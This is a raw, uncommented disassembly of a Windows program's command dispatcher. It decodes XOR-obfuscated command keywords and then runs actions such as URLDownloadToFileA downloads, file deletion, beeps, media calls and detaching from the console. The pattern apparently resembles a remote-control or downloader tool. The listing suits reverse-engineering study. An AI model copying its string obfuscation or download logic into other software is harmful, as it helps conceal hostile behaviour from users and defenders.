mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xdd8]
call fcn.14000f378
mov eax, ebx
jmp 0x14000ab51
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000b015
call fcn.14000cf88
cmp byte [rax + 3], r14b
je 0x14000af6c
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xd5c917e9d317a5ef
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r13
cmp r8, rdi
jb 0x14000af46
mov byte [rax + 3], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b011
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, qword [r15 + 0x18]
mov rdx, qword [r15 + 0x10]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edi, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
lea rbx, vtable._com_error.0
mov qword [rbp - 0x70], rbx
mov dword [rbp - 0x68], edi
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x60], xmm0
lea rcx, [rbp - 0x70]
call fcn.140001fa4
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
nop
mov qword [rbp - 0x70], rbx
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000affa
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x14000b00a
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
mov eax, edi
jmp 0x14000ab51
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000b0c8
call fcn.14000cff0
cmp byte [rax + 3], r14b
je 0x14000b052
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x8b5f25dbeb53ad1b
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r13
cmp r8, rdi
jb 0x14000b02c
mov byte [rax + 3], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b0c4
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x168]
call fcn.14000f3d4
mov rcx, rax
call fcn.1400027f0
mov ebx, eax
mov r8d, r12d
lea rdx, [rbp + 0x1ec0]
mov ecx, eax
call qword [sym.imp.WINMM.dll_mciGetErrorStringA]
mov edx, ebx
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
lea rdx, [rbp + 0x1ec0]
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.1400115b4
jmp 0x14000af25
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000b1cc
call fcn.14000d058
cmp byte [rax + 4], r14b
je 0x14000b105
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xc3933f23f5030fbb
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r13
cmp r8, 4
jb 0x14000b0de
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b1c8
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x5d8]
call fcn.14000f3d4
nop
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x5b8]
call fcn.14000f3d4
nop
lea rcx, [rbp + 0x5d8]
call fcn.140001df4
mov ebx, eax
lea rcx, [rbp + 0x5b8]
call fcn.140001df4
mov edx, ebx
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Beep]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rcx, [rbp + 0x5b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x5d8]
call fcn.14000f378
mov edx, ebx
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xe18]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b1b2
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xe18]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000b2c5
call fcn.14000d0bc
cmp byte [rax + 4], r14b
je 0x14000b20a
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xb59b09b935d11b6b
shr rdx, cl
xor byte [r8 + rax], dl
add r8, r13
cmp r8, 4
jb 0x14000b1e3
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b2c1
cmp dword [rsp + 0x48], edi
jle 0x14000b26b
call fcn.14000d120
cmp byte [rax + 6], r14b
je 0x14000b259
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x10145836593150d
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 6
jb 0x14000b232
mov byte [rax + 6], r14b
mov rdx, rax
mov rcx, qword [r15 + 0x18]
call fcn.14001eb00
test eax, eax
cmove r14d, r13d
mov edx, r14d
mov rcx, qword [r15 + 0x10]
call fcn.140003164
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xe38]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b2ab
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xe38]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b45f
call fcn.14000d194
cmp byte [rax + 4], r14b
je 0x14000b303
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xd1e18971cd53d97d
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 4
jb 0x14000b2dc
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b362
call fcn.140003524
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xe58]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b34c
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xe58]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b45f
call fcn.14000d1f8
cmp byte [rax + 3], r14b
je 0x14000b3a3
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xb74b09d51541f7bb
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, rdi
jb 0x14000b37d
mov byte [rax + 3], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b45b
cmp dword [rsp + 0x48], edi
jle 0x14000b403
call fcn.14000d260
cmp byte [rax + 3], r14b
je 0x14000b3f1
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x5b19fb0ff1035bc1
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, rdi
jb 0x14000b3cb
mov byte [rax + 3], r14b
mov rdx, rax
mov rcx, qword [r15 + 0x18]
call fcn.14001eb00
test eax, eax
cmove r14d, r13d
mov r8d, r14d
xor edx, edx
mov rcx, qword [r15 + 0x10]
call fcn.1400023b0
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xe78]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b445
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xe78]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000b6fb
call fcn.14000d2c8
cmp byte [rax + 4], r14b
je 0x14000b49c
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x8b596755a9314523
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 4
jb 0x14000b475
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b540
lea rax, [rbp + 0x188]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x188]
call fcn.14000f3d4
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x1c8]
call fcn.14000f3d4
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.14000354c
mov ebx, eax
lea rcx, [0x140432280]
call fcn.1400115b4
mov edx, ebx
mov rcx, rax
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xed8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b52a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xed8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000b6fb
call fcn.14000d32c
cmp byte [rax + 4], r14b
je 0x14000b581
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x293b65b3171bcb61
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 4
jb 0x14000b55a
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b61a
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x1e8]
call fcn.14000f3d4
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x208]
call fcn.14000f3d4
nop
mov rdx, rbx
mov rcx, rax
call fcn.140003a60
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xf38]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b604
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xf38]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000b6fb
call fcn.14000d390
cmp byte [rax + 5], r14b
je 0x14000b65b
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x290dbbcf6195a179
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000b634
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b6f7
lea rax, [rbp + 0x228]
mov qword [rsp + 0x50], rax
mov rdx, qword [r15 + 0x18]
lea rcx, [rbp + 0x228]
call fcn.14000f3d4
mov rbx, rax
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x248]
call fcn.14000f3d4
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140003f70
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xf98]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b6e1
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xf98]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b9d7
call fcn.14000d3f4
cmp byte [rax + 5], r14b
je 0x14000b739
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xcd274971f723773f
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000b712
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b7a0
xor r8d, r8d
xor edx, edx
mov ecx, r13d
call fcn.140004490
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xfb8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b78a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xfb8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b9d7
call fcn.14000d458
cmp byte [rax + 5], r14b
je 0x14000b7e2
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xddbddf6d33d1ebdb
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000b7bb
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b849
xor r8d, r8d
mov edx, r13d
xor ecx, ecx
call fcn.140004490
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xfd8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b833
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xfd8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b9d7
call fcn.14000d4bc
cmp byte [rax + 5], r14b
je 0x14000b88b
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x67b7b569b53957dd
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000b864
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b8f1
mov r8d, r13d
xor edx, edx
xor ecx, ecx
call fcn.140004490
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0xff8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b8db
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0xff8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000b9d7
call fcn.14000d520
cmp byte [rax + 4], r14b
je 0x14000b933
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xe953ad413bb911e3
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 4
jb 0x14000b90c
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000b9d3
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x1018]
call fcn.140002248
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b965
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
mov rcx, rax
call fcn.1400115b4
nop
lea rcx, [rbp + 0x1018]
call fcn.14000f378
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0x1038]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000b9bd
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0x1038]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, edi
jle 0x14000ba7f
call fcn.14000d584
cmp byte [rax + 5], r14b
je 0x14000ba14
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x11a74b150b1963f3
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000b9ed
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000ba7b
mov rdx, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x10]
call fcn.140002488
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0x1058]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000ba65
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0x1058]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000bb9d
call fcn.14000d5e8
cmp byte [rax + 5], r14b
je 0x14000babd
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xbd639ff10997a5c1
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000ba96
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000bb99
lea rcx, [rbp + 0x1ca0]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp + 0x10b8]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1ca0]
lea rcx, [rbp + 0x1098]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1078]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x14000bb21
mov rax, qword [rax]
mov rcx, rax
call fcn.140004d50
mov ebx, eax
lea rcx, [rbp + 0x1078]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1098]
call fcn.14000f378
nop
lea rcx, [rbp + 0x10b8]
call fcn.14000f378
mov edx, ebx
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0x10d8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000bb83
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0x10d8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, 2
jle 0x14000bc96
call fcn.14000d64c
cmp byte [rax + 5], r14b
je 0x14000bbdb
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xddc11597935b530d
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 5
jb 0x14000bbb4
mov byte [rax + 5], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000bc92
cmp dword [rsp + 0x48], edi
jle 0x14000bc3c
call fcn.14000d6b0
cmp byte [rax + 6], r14b
je 0x14000bc2a
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x253dbf159f7f9fdb
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 6
jb 0x14000bc03
mov byte [rax + 6], r14b
mov rdx, rax
mov rcx, qword [r15 + 0x18]
call fcn.14001eb00
test eax, eax
cmove r14d, r13d
mov edx, r14d
mov rcx, qword [r15 + 0x10]
call fcn.140002e20
mov ebx, eax
mov edx, eax
lea rcx, [0x140432280]
call fcn.14000ef84
mov rcx, rax
call fcn.1400115b4
mov edx, ebx
lea rcx, [rbp + 0x10f8]
call fcn.1400021d8
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x14000bc7c
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
call fcn.140012d94
nop
lea rcx, [rbp + 0x10f8]
jmp 0x14000af20
mov eax, dword [rsp + 0x48]
cmp eax, r13d
jle 0x14000c12c
call fcn.14000d724
cmp byte [rax + 3], r14b
je 0x14000bcd3
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0xb973a363d3bd1df7
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, rdi
jb 0x14000bcad
mov byte [rax + 3], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
je 0x14000ab4f
cmp dword [rsp + 0x48], r13d
jle 0x14000c12c
call fcn.14000d78c
cmp byte [rax + 4], r14b
je 0x14000bd27
mov r8, r14
mov cl, r8b
and cl, sil
shl cl, 3
movabs rdx, 0x67c1f3d96f2bc1e5
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 4
jb 0x14000bd00
mov byte [rax + 4], r14b
mov rdx, rax
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000c026
lea rcx, [rbp + 0x1750]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.14000d864
mov r8, rax
movabs rbx, 0x4f95afa147332d2b
cmp byte [rax + 0xe], r14b
je 0x14000bd88
mov rdx, r14
mov cl, dl
and cl, sil
shl cl, 3
mov rax, rbx
shr rax, cl
xor byte [r8 + rdx], al
add rdx, r13
cmp rdx, 0xe
jb 0x14000bd69
mov byte [r8 + 0xe], r14b
mov rdx, r8
lea rcx, [rbp + 0x11d8]
call fcn.14000f3d4
mov rdi, rax
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x11b8]
call fcn.14000f3d4
mov rsi, rax
call fcn.14000d7f0
cmp byte [rax + 6], r14b
je 0x14000bdde
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rbx
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 6
jb 0x14000bdbe
mov byte [rax + 6], r14b
mov rdx, rax
lea rcx, [rbp + 0x1198]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x1178]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1158]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1138]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1118]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x14000be46
mov rax, qword [rax]
mov r8d, r13d
mov edx, 0x8000000
mov rcx, rax
call fcn.1400023b0
lea rcx, [rbp + 0x1118]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1138]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1158]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1178]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1198]
call fcn.14000f378
nop
lea rcx, [rbp + 0x11b8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x11d8]
call fcn.14000f378
call fcn.14000d968
mov r8, rax
movabs rbx, 0xbd39ebd5a96d85df
cmp byte [rax + 0xb], r14b
je 0x14000beea
mov rdx, r14
mov cl, dl
and cl, 7
shl cl, 3
mov rax, rbx
shr rax, cl
xor byte [r8 + rdx], al
add rdx, r13
cmp rdx, 0xb
jb 0x14000becb
mov byte [r8 + 0xb], r14b
mov rdx, r8
lea rcx, [rbp + 0x12b8]
call fcn.14000f3d4
mov rdi, rax
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x1298]
call fcn.14000f3d4
mov rsi, rax
call fcn.14000d8f4
cmp byte [rax + 6], r14b
je 0x14000bf40
mov r8, r14
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rbx
shr rdx, cl
xor byte [rax + r8], dl
add r8, r13
cmp r8, 6
jb 0x14000bf20
mov byte [rax + 6], r14b
mov rdx, rax
lea rcx, [rbp + 0x1278]
call fcn.14000f3d4
mov rbx, rax
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x1258]
call fcn.14000f3d4
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1238]
call fcn.1400115ec
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1218]
call fcn.1400115ec
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x11f8]
call fcn.1400115ec
cmp qword [rax + 0x18], 0xf
jbe 0x14000bfa8
mov rax, qword [rax]
mov r8d, r13d
mov edx, 0x8000000
mov rcx, rax
call fcn.1400023b0
lea rcx, [rbp + 0x11f8]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1218]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1238]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1258]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1278]
call fcn.14000f378
nop
lea rcx, [rbp + 0x1298]
call fcn.14000f378
nop
lea rcx, [rbp + 0x12b8]
call fcn.14000f378
xor edx, edx
xor ecx, ecx
mov r8d, 0x1388
call fcn.140002660
jmp 0x14000ab4f
cmp dword [rsp + 0x48], r13d
jle 0x14000c12c
lea rdx, [0x140049648]
mov rcx, qword [r15 + 8]
call fcn.14001eb00
test eax, eax
jne 0x14000c12c
call fcn.14000d9ec
mov r8, rax
cmp byte [rax + 0x1f], r14b
je 0x14000c080
mov rdx, r14
mov cl, dl
and cl, sil
shl cl, 3
movabs rax, 0x77738da9754169b5
shr rax, cl
xor byte [r8 + rdx], al
add rdx, r13
cmp rdx, 0x1f
jb 0x14000c05a
mov byte [r8 + 0x1f], r14b
mov rdx, r8
jmp 0x14000ade9
call fcn.14000c3ac
mov rcx, rax
call fcn.14000de80
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.14000f2fc
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x3f8]
call fcn.14000f368
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x3d8]
call fcn.14000f368
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x3b8]
call fcn.14000f368
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x398]
call fcn.14000f368
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.14001ad40
nop
call fcn.140002168
test eax, eax
je 0x14000c175
call fcn.14000dab8
mov rcx, rax
call fcn.14000dc50
mov rdx, rax
lea rcx, [rbp + 0x12d8]
call fcn.14000f3d4
mov rcx, rax
call fcn.14000f368
mov rcx, rax
xor r8d, r8d
mov edx, 0x8000000
call fcn.1400023b0
lea rcx, [rbp + 0x12d8]
call fcn.14000f378
call fcn.14000dbb4
mov rcx, rax
call fcn.14000dc18
mov rdx, rax
lea rcx, [0x140432280]
call fcn.140011368
mov rcx, rax
call fcn.14000f2fc
call fcn.14001ad40
nop
lea rcx, str.invalid_stoi_argument
call fcn.140013404
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.14001344c
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
nop
call fcn.140020398
int3